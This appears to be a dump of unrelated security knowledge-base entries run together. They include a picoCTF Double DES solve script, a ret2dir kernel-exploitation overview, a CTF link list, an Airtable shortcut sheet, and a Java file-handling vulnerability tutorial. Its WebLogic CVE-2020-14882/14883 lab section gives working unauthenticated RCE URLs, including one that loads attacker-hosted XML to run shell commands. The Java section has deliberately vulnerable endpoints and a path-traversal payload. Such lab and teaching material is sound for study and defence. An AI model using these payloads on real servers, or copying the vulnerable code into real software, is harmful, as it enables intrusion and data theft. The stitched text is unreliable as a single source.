(MITM) a generic space–time tradeoff cryptographic attack. > > The MITM attack attempts to find the keys by using both the range (ciphertext) and domain (plaintext) of the composition of several functions (or block ciphers) such that the forward mapping through the first functions is the same as the backward mapping (inverse image) through the last functions, quite literally meeting in the middle of the composed function. So, we first encrypt a random string, such as `"a"` using 2DES. We receive the encrypted output from the server, and start attacking it. We encrypt `a` with all possible keys (which are essentially all possible strings of 6 digits, padded to the length of a block) using single DES, and save each encrypted output in a dictionary, together with the key that was used for the encryption. Then, we take the encrypted output we got from the server when we encrypted `a` using 2DES, and try to decrypt it with all possible keys using single DES. Eventually, we should get a result which matches some encrypted output from the first phase. The keys that were used to achieve this are the secret keys also used to encrypt the flag. ```python #!/usr/bin/python3 -u from pwn import * from Crypto.Cipher import DES import itertools import string KEY_LEN = 6 def pad(msg): block_len = 8 over = len(msg) % block_len pad = block_len - over return (msg + " " * pad).encode() def double_decrypt(m, key1, key2): cipher2 = DES.new(key2, DES.MODE_ECB) dec_msg = cipher2.decrypt(m) cipher1 = DES.new(key1, DES.MODE_ECB) return cipher1.decrypt(dec_msg) def all_possible_keys(): return itertools.product(string.digits, repeat=KEY_LEN) r = remote("mercury.picoctf.net", 1903) r.recvline() flag = r.recvlineS().strip() log.info("Encrypted flag: {}".format(flag)) to_encrypt = b'a' log.info("Trying to encrypt '{}'".format(to_encrypt)) r.sendlineafter("What data would you like to encrypt?", enhex(to_encrypt)) a_enc = r.recvlineS().strip() log.info("Encrypted form: {}".format(a_enc)) a_enc = bytes.fromhex(a_enc) a_padded = pad(to_encrypt.decode()) d = {} with log.progress('Encrypting plaintext with all possible keys') as p: for k1 in all_possible_keys(): k1 = pad("".join(k1)) p.status("Key: {}".format(k1)) cipher1 = DES.new(k1, DES.MODE_ECB) enc = cipher1.encrypt(a_padded) d[enc] = k1 with log.progress('Decrypting ciphertext with all possible keys') as p: for k2 in all_possible_keys(): k2 = pad("".join(k2)) p.status("Key: {}".format(k2)) cipher2 = DES.new(k2, DES.MODE_ECB) dec = cipher2.decrypt(a_enc) if dec in d: k1 = d[dec] log.info("Found match, key1 = {}, key2 = {}".format(k1, k2)) log.success(double_decrypt(unhex(flag), k1, k2)) break ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Double_DES] └─$ python3 solve.py [+] Opening connection to mercury.picoctf.net on port 1903: Done [*] Encrypted flag: a47d8e5b366215bea6621ae98d347e7e02b22bae01beb596ead9f4fdbeb09629e12aade04cc8df1a [*] Trying to encrypt 'b'a'' [*] Encrypted form: 00c9603b6bb1a03b [+] Encrypting plaintext with all possible keys: Done [+] Decrypting ciphertext with all possible keys: Done [*] Found match, key1 = b'137731 ', key2 = b'004204 ' [+] cb120914153b84dbc68fedd574b395f2 ``` The flag: `cb120914153b84dbc68fedd574b395f2`
sec-knowleage
### ret2dir概述 ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来**绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段**,原论文见[此处](http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf)。 我们首先来思考一下 [x86 下的 Linux kernel 的内存布局](https://elixir.bootlin.com/linux/latest/source/Documentation/x86/x86_64/mm.rst),存在着这样的一块区域叫做 `direct mapping area`,**线性地直接映射了整个物理内存空间**: ```rst ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base) ``` 这块区域的存在意味着:对于一个被用户进程使用的物理页框,**同时存在着一个用户空间地址与内核空间地址到该物理页框的映射**,即我们利用这两个地址进行内存访问时访问的是同一个物理页框。 当开启了 SMEP、SMAP、PXN 等防护时,内核空间到用户空间的直接访问被禁止,**我们无法直接使用类似 ret2usr 这样的攻击方式**,但利用内核线性映射区对整个物理地址空间的映射,**我们可以利用一个内核空间上的地址访问到用户空间的数据,从而绕过 SMEP、SMAP、PXN 等传统的隔绝用户空间与内核空间的防护手段**。 下图便是原论文中对 ret2dir 这种攻击的示例,我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址**在内核空间中访问到** 但需要注意的是**在新版的内核当中 direct mapping area 已经不再具有可执行权限**,因此我们很难再在用户空间直接布置 shellcode 进行利用,**但我们仍能通过在用户空间布置 ROP 链的方式完成利用** 比较朴素的一种使用 ret2dir 进行攻击的手法便是: - 利用 mmap 在用户空间大量喷射内存。 - 利用漏洞泄露出内核的“堆”上地址(通过 kmalloc 获取到的地址),**这个地址直接来自于线性映射区**。 - 利用泄露出的内核线性映射区的地址**进行内存搜索**,从而找到我们在用户空间喷射的内存。 **此时我们就获得了一个映射到用户空间的内核空间地址,我们通过这个内核空间地址便能直接访问到用户空间的数据,从而避开了传统的隔绝用户空间与内核空间的防护手段**。 需要注意的是我们往往没有内存搜索的机会,因此需要**使用 mmap 喷射大量的物理内存写入同样的 payload**,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就**有很大的概率命中到我们布置的 payload 上**,这种攻击手法也称为 `physmap spray`。
sec-knowleage
# Links ##  Steganography * [CTF Tidbits: Part 1 — Steganography](https://medium.com/@FourOctets/ctf-tidbits-part-1-steganography-ea76cc526b40) * [Steganography 101](https://pequalsnp-team.github.io/cheatsheet/steganography-101) ## Web * [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/) * [Web CTF Cheatsheet](https://github.com/w181496/Web-CTF-Cheatsheet) ## Pwn * [ROP Explained](https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf) * [Finding Function's Load Address ](https://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html) * [GOT and PLT for pwning](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html) * [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/attacks/forging_chunks.html) * [Heap Exploitation 2](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/) * [Format string on Heap](https://activities.tjhsst.edu/csc/writeups/picoctf-2021-stonk-market) * [LibC Simulation Methods](https://github.com/152334H/pwnscripts/issues/10) ## Crypto * [Attacking RSA for fun and CTF points](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/) * [Attacking ECB](https://zachgrace.com/posts/attacking-ecb/) * [Attacking ECB 2](https://michael-myers.github.io/blog/post/enigma2017-broken-encryption-writeup/) * [Padding Oracle](https://github.com/truongkma/ctf-tools/blob/master/Padding-oracle/paddingoracle.py) * [Bit Flipping](https://blog.gdssecurity.com/labs/2010/10/6/crypto-challenges-at-the-csaw-2010-application-ctf-qualifyin.html) * [Bit Flipping 2](https://github.com/RandomsCTF/write-ups/tree/master/Defcamp%20CTF%20Qualification%202015/No%20Crypto%20%5Bcrypto%5D%20(200)) * [Exploring 3 insecure usage of RSA](https://www.quaxio.com/exploring_three_weaknesses_in_rsa/) * [FactorDB](http://factordb.com/) * [Integer factorization calculator](https://www.alpertron.com.ar/ECM.HTM) * [Substitution Solver](https://www.guballa.de/substitution-solver) * [Vigenere Solver](https://www.guballa.de/vigenere-solver) ## Debugger * [PEDA Cheatsheet](https://github.com/ebtaleb/peda_cheatsheet/blob/master/peda.md) * [GDB Scripting for a CTF](https://anee.me/make-it-rain-sec-t-ctf-2017-4095acd6f4cf) * [GDB Scripting for a CTF 2](https://ctftime.org/writeup/13927) * [Pwngdb](https://github.com/scwuaptx/Pwngdb) * [A journey into Radare](https://www.megabeets.net/a-journey-into-radare-2-part-2/) ## Linux * [GTFOBins](https://gtfobins.github.io/) ## Misc. * [CyberChef](https://gchq.github.io/CyberChef/) ([example](http://www.codehead.co.uk/tamuctf-2019-crypto-cyberchef/#problem2)) * [More Links](https://dox.xil.se/ctf/readme.md?raw=true)
sec-knowleage
--- title: Terraform 离线可视化 --- <center><h1>Terraform 离线可视化</h1></center> --- 如果 Terraform 项目比较复杂,那么可以利用 tfviz 这个工具,可视化 Terraform 项目,tfviz 项目地址:[https://github.com/steeve85/tfviz](https://github.com/steeve85/tfviz) 安装 ```bash GO111MODULE=on go get -u github.com/steeve85/tfviz ``` 到 Terraform 项目目录下使用 ```bash tfviz -input ./ -output tfimg.png ``` <img width="800" src="/img/1650012022.png"> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
# Nomination Grab Bag, 100 points ## Description: A picture of a cat is attached: ![](images/Scaredy_Cat.png) ## Solution: [stegsolve](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) is great for such challenges. It allows each bit plane of the image to be viewed on its own. ![](images/nomination.png) The flag: MCA{g1jVx4a2zcpoZx2q}
sec-knowleage
--- title: Airtable date: 2022-11-23 16:23:31.699659 background: bg-[#f1b73f] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 36 keyboard shortcuts found in Airtable --- Keyboard Shortcuts ------------------ ### General {.row-span-3} Shortcut | Action ---|--- `Ctrl` `Z` | Undo action `Ctrl` `Shift` `Z` | Redo action `Ctrl` `P` | Print the current table view or current expanded record (if inside an expanded record) `Ctrl` `J` | Opens the table switcher in the current base `Ctrl` `K` | Opens the quick base switcher if on the home screen or inside a base `Ctrl` `Shift` `K` | Opens the view switcher in the current base `Ctrl` `Shift` `F` | Opens the filter menu in the current view, press enter to create a new filter `Ctrl` `Shift` `D` | Opens the grouped records menu in the current view, press enter to collapse or expand all groups `Ctrl` `Shift` `S` | Opens the sort menu in the current view, press enter to re-apply the most recent sort `Ctrl` `Shift` `\` | Toggles blocks `Ctrl` `F` | Opens the find bar, use esc to close it `Ctrl` `;` | Sets the selected date/datetime field to now {.shortcuts} ### Grid View {.row-span-3} Shortcut | Action ---|--- `Ctrl` `C` | Copy a cell or range of cells `Ctrl` `X` | Cut a cell or range of cells `Ctrl` `V` | Paste a cell (if you select a range of cells, you can paste the same value into multiple cells at once) `Space` | Expand the active record, use esc to return to the table `Shift` `Space` | Expand the active cell, you can then use arrow keys to move to different cells `PgUp` | Scrolls one screen up `PgDn` | Scrolls one screen down `Alt` `PgUp` | Scrolls one screen left `Alt` `PgDn` | Scrolls one screen right `Ctrl` `(arrows)` | Jump to the edge of the table `Ctrl` `Shift` `(arrows)` | Jump to the edge of table and select cells `Shift` `(arrows)` | Select range of cells, you can also click while holding shift to select cells `Shift` `Enter` | Insert a record below the selected cell `Enter` | Edit the selected cell {.shortcuts} ### Gallery View Shortcut | Action ---|--- `Ctrl` `Up/Down` | Scroll to edge of gallery {.shortcuts} ### Kanban View Shortcut | Action ---|--- `Left` | Scroll kanban board to the left by one stack `Right` | Scroll kanban board to the right by one stack `Ctrl` `Left` | Scroll kanban board to the left edge `Ctrl` `Right` | Scroll kanban board to the right edge `Ctrl` `Up` | Scroll all stacks to the top `Ctrl` `Down` | Scroll all stacks to the bottom {.shortcuts} ### Expanded Record Shortcut | Action ---|--- `Ctrl` `Shift` `<` | Move to the previous record while viewing an expanded record `Ctrl` `Shift` `>` | Move to the next record while viewing an expanded record `Esc` | Close expanded record {.shortcuts} Also see -------- - [Keyboard shortcuts for Airtable](https://support.airtable.com/hc/en-us/articles/204143385-Airtable-keyboard-shortcuts) _(support.airtable.com)_
sec-knowleage
# Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883) Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。 CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。 参考链接: - https://www.oracle.com/security-alerts/cpuoct2020traditional.html - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf ## 漏洞环境 执行如下命令启动一个Weblogic 12.2.1.3版本的服务器: ``` docker compose up -d ``` 启动完成后,访问`http://your-ip:7001/console`即可查看到后台登录页面。 ## 漏洞复现 首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面: ``` http://your-ip:7001/console/css/%252e%252e%252fconsole.portal ``` ![](1.png) 访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码: ![](2.png) 此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过`com.tangosol.coherence.mvel2.sh.ShellSession`,二是通过`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`。 直接访问如下URL,即可利用`com.tangosol.coherence.mvel2.sh.ShellSession`执行命令: ``` http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');") ``` 进入容器,可以发现`touch /tmp/success1`已成功执行: ![](3.png) 这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在`com.tangosol.coherence.mvel2.sh.ShellSession`类。 `com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。 首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如`http://example.com/rce.xml`: ```xml <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/success2]]></value> </list> </constructor-arg> </bean> </beans> ``` 然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令: ``` http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml") ``` ![](4.png) 这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。
sec-knowleage
# SOC定位与功能模型选择 ## 前言 安全运营中心(Security Operation Center,SOC)对于大型企业来说,常常是整体安全架构的一个核心、中心组成。但不同的企业所面临的内外部风险,以及安全团队在企业中的定位、资源分配都是千差万别的。那么对于不同规模的企业来说,SOC的定位以及功能模型的选择应该是怎么样的呢? ## 定义 首先,我们来回顾一下SOC的不同定义。 Gartner将SOC定义为一个团队,**该团队通常是昼夜不停地工作以提供7x24小时的覆盖范围,并且有专用的物理/虚拟设施(基础架构),以帮助预测、预防、检测、评估和应对安全威胁与事件**。[1] // TODO ## References \[1] 企业如何选择适合的SOC模型?, 李日辉 ,https://mp.weixin.qq.com/s/QbD7afWyZOOu_9Q0Ex2LUA
sec-knowleage
# 文件操作 ## 文件上传 {% code title="FileController.java" %} ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.ModelAndView; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; @RestController public class FileController { @GetMapping("/upload") public ModelAndView showUploadForm() { ModelAndView modelAndView = new ModelAndView(); modelAndView.setViewName("upload"); return modelAndView; } @PostMapping("/upload") public String handleFileUpload(@RequestParam("file") MultipartFile file) { try { // 将上传的文件保存到本地文件系统 byte[] bytes = file.getBytes(); Path path = Paths.get(file.getOriginalFilename()); Files.write(path, bytes); } catch (IOException e) { e.printStackTrace(); } return "redirect:/success"; } } ``` {% endcode %} {% code title="upload.html" %} ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>文件上传</title> </head> <body> <h1>文件上传</h1> <form method="POST" enctype="multipart/form-data" action="/upload"> <input type="file" name="file"> <br/><br/> <button type="submit">上传</button> </form> </body> </html> ``` {% endcode %} 修复代码 ```java @Controller public class FileUploadController { private static final List<String> ALLOWED_EXTENSIONS = Arrays.asList(".jpg", ".jpeg", ".png"); @PostMapping("/upload") public String handleFileUpload(@RequestParam("file") MultipartFile file) { try { // 验证上传的文件是否为图片类型 String fileName = file.getOriginalFilename(); String extension = fileName.substring(fileName.lastIndexOf(".")).toLowerCase(); if (!ALLOWED_EXTENSIONS.contains(extension)) { throw new RuntimeException("Invalid file type."); } // 验证上传的文件是否为合法的图片文件 BufferedImage image = ImageIO.read(file.getInputStream()); if (image == null) { throw new RuntimeException("Invalid image file."); } // 限制上传文件的大小和数量 if (file.getSize() > 10 * 1024 * 1024) { // 10MB throw new RuntimeException("File size exceeds the limit."); } // 将上传的文件保存到指定位置 String uploadDir = "/uploads"; String realPath = request.getServletContext().getRealPath(uploadDir); if (realPath == null) { throw new RuntimeException("Failed to retrieve upload directory."); } Path path = Paths.get(realPath, fileName); Files.write(path, file.getBytes()); } catch (IOException e) { throw new RuntimeException("Failed to upload file: " + e.getMessage()); } return "redirect:/success"; } } ``` 在上面的代码中,我们采取了以下措施: 1. 我们定义了一个`ALLOWED_EXTENSIONS`列表,用于存储允许上传的图片文件类型后缀名。当上传的文件类型不在此列表中时,会抛出异常并拒绝上传。 2. 我们在上传前通过`BufferedImage`读取上传的图片文件,并对其进行验证。如果文件不是合法的图片文件,将抛出异常并拒绝上传。 3. 我们对上传的文件大小进行了限制,当上传的文件超过10MB时,将抛出异常并拒绝上传。 4. 我们将上传的文件保存到应用程序的指定位置(此处为`/uploads`目录),而不是保存在Web根目录下。这有助于避免攻击者通过构造特定的URL访问并执行上传的文件。 5. 我们还在捕获异常时提供了更具体的错误信息,以便于排查问题。 ## 文件读取 ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException; @RestController public class FileController { @GetMapping("/readFile") public String readFile(@RequestParam String filePath) throws IOException { File file = new File(filePath); BufferedReader reader = new BufferedReader(new FileReader(file)); String line = null; StringBuilder stringBuilder = new StringBuilder(); while ((line = reader.readLine()) != null) { stringBuilder.append(line); } reader.close(); return stringBuilder.toString(); } } ``` ![image-20230314150100526](../../.gitbook/assets/image-20230314150100526.png) 修复代码 ```java @RestController public class FileController { private static final String UPLOADS_FOLDER = "/uploads/"; @GetMapping("/readFile") public String readFile(@RequestParam String filePath) throws IOException { File file = new File(ResourceUtils.getFile(filePath).getAbsolutePath()); String canonicalPath = file.getCanonicalPath(); if (!canonicalPath.startsWith(ResourceUtils.getFile(UPLOADS_FOLDER).getCanonicalPath())) { return "Access denied"; } if (!file.exists() || !file.isFile()) { return "File not found"; } if (!file.canRead()) { return "Cannot read file"; } BufferedReader reader = new BufferedReader(new FileReader(file)); String line = null; StringBuilder stringBuilder = new StringBuilder(); while ((line = reader.readLine()) != null) { stringBuilder.append(line); } reader.close(); return stringBuilder.toString(); } } ``` 先将传递的文件路径转化为绝对路径,然后获取限定文件夹的绝对路径,再判断传递的文件路径是否在限定的目录下。如果文件路径不在限定的目录下,则拒绝访问。 ## 文件写入 ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import java.io.File; import java.io.FileWriter; import java.io.IOException; @RestController public class FileController { private static final String UPLOADS_FOLDER = "/uploads/"; @GetMapping("/writeFile") public String writeFile(@RequestParam String fileName, @RequestParam String data) throws IOException { File file = new File(fileName); FileWriter fileWriter = new FileWriter(file); fileWriter.write(data); fileWriter.flush(); fileWriter.close(); return "File created successfully!"; } } ``` ![image-20230314151357759](../../.gitbook/assets/image-20230314151357759.png) 修复代码 ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; @RestController public class FileController { private static final String UPLOADS_FOLDER = "upload/"; @GetMapping("/writeFile") public String writeFile(@RequestParam String fileName, @RequestParam String data) throws IOException { // 检查文件名是否包含目录遍历字符 if (fileName.contains("../")) { return "Invalid file name"; } // 检查文件名是否合法 if (!fileName.matches("^[a-zA-Z0-9_]*$")) { return "Invalid file name"; } // 确定文件路径 String filePath = UPLOADS_FOLDER + fileName; // 创建文件对象 File file = new File(filePath); // 检查目录是否存在 if (!file.getParentFile().exists()) { // 创建目录 file.getParentFile().mkdirs(); } // 写入文件 try (FileOutputStream fos = new FileOutputStream(file)) { fos.write(data.getBytes()); } return "File created successfully!"; } } ``` ## 文件下载 ```java @RestController public class FileController { private static final String UPLOADS_FOLDER = "upload/"; @GetMapping("/download") public void downloadFile(@RequestParam String fileName, HttpServletResponse response) throws IOException { // 确定文件路径 String filePath = UPLOADS_FOLDER + fileName; // 创建文件对象 File file = new File(filePath); // 检查文件是否存在 if (!file.exists()) { response.sendError(HttpServletResponse.SC_NOT_FOUND); return; } // 设置响应头信息 response.setContentType("application/octet-stream"); response.setHeader("Content-Disposition", "attachment;filename=" + fileName); // 读取文件并输出到响应流 try (InputStream is = new FileInputStream(file); OutputStream os = response.getOutputStream()) { byte[] buffer = new byte[1024]; int length; while ((length = is.read(buffer)) != -1) { os.write(buffer, 0, length); } os.flush(); } } } ``` payload ``` ../upload/test.txt ``` 修复代码 ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletResponse; import java.io.*; @RestController public class FileController { private static final String UPLOADS_FOLDER = "upload/"; @GetMapping("/download") public void downloadFile(@RequestParam String fileName, HttpServletResponse response) throws IOException { // 检查文件名是否合法 if (!fileName.matches("^[a-zA-Z0-9_]*$")) { response.sendError(HttpServletResponse.SC_BAD_REQUEST); return; } // 确定文件路径 String filePath = UPLOADS_FOLDER + fileName; // 创建文件对象 File file = new File(filePath); // 检查文件是否存在 if (!file.exists()) { response.sendError(HttpServletResponse.SC_NOT_FOUND); return; } // 检查文件是否在指定目录下 if (!file.getAbsolutePath().startsWith(new File(UPLOADS_FOLDER).getAbsolutePath())) { response.sendError(HttpServletResponse.SC_FORBIDDEN); return; } // 设置响应头信息 response.setContentType("application/octet-stream"); response.setHeader("Content-Disposition", "attachment;filename=" + fileName); // 读取文件并输出到响应流 try (InputStream is = new FileInputStream(file); OutputStream os = response.getOutputStream()) { byte[] buffer = new byte[1024]; int length; while ((length = is.read(buffer)) != -1) { os.write(buffer, 0, length); } os.flush(); } } } ``` ## 文件删除 ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletResponse; import java.io.*; @RestController public class FileController { private static final String UPLOADS_FOLDER = "upload/"; @GetMapping("/delete") public void deleteFile(@RequestParam String fileName, HttpServletResponse response) throws IOException { // 确定文件路径 String filePath = UPLOADS_FOLDER + fileName; // 创建文件对象 File file = new File(filePath); // 检查文件是否存在 if (!file.exists()) { response.sendError(HttpServletResponse.SC_NOT_FOUND); return; } // 删除文件 if (!file.delete()) { response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR); return; } // 返回删除成功的响应 response.setStatus(HttpServletResponse.SC_OK); } } ``` 修复代码 ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletResponse; import java.io.*; @RestController public class FileController { private static final String UPLOADS_FOLDER = "upload/"; @GetMapping("/delete") public void deleteFile(@RequestParam String fileName, HttpServletResponse response) throws IOException { // 检查文件名是否合法 if (!fileName.matches("^[a-zA-Z0-9_]*$")) { response.sendError(HttpServletResponse.SC_BAD_REQUEST); return; } // 确定文件路径 String filePath = UPLOADS_FOLDER + fileName; // 创建文件对象 File file = new File(filePath); // 检查文件是否存在 if (!file.exists()) { response.sendError(HttpServletResponse.SC_NOT_FOUND); return; } // 检查文件是否在指定目录下 if (!file.getAbsolutePath().startsWith(new File(UPLOADS_FOLDER).getAbsolutePath())) { response.sendError(HttpServletResponse.SC_FORBIDDEN); return; } // 删除文件 if (!file.delete()) { response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR); return; } // 返回删除成功的响应 response.setStatus(HttpServletResponse.SC_OK); } } ```
sec-knowleage